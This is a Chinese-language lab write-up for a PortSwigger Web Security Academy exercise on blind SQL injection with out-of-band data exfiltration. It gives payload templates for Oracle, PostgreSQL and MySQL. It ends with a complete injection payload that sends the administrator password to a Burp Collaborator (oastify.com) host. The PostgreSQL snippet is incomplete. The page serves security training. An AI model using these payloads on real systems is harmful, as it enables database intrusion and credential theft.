> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md).

# 通过 OOB 字符串进行 SQL 注入数据外传

通过 OOB 字符串进行 SQL 注入数据外传笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 带外数据外传的盲 SQL 注入

本实验包含一个盲 SQL 注入漏洞。该应用使用一个跟踪 cookie 进行分析统计，并执行一条包含所提交 cookie 值的 SQL 查询。/ 该 SQL 查询是异步执行的，不会影响应用响应。不过，可以触发与外部域的带外交互。/ 数据库中包含一个名为 `users`的 `用户名` 和 `密码` 列。你需要利用盲 SQL 漏洞来发现 `administrator` 用户密码。

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgresSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

* Mysql

```sql
SELECT YOUR-QUERY-HERE INTO OUTFILE '////BURP-COLLABORATOR-SUBDOMAIN/a'
```

恢复管理员密码（`SELECT password FROM users WHERE username = 'administrator'`)

{% code overflow="wrap" %}

```sql
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.qnhdkeii23lhv8cats06caltuk0bo8cx.oastify.com/"> %25remote%3b]>'),'/l') FROM dual-- -
```

{% endcode %}


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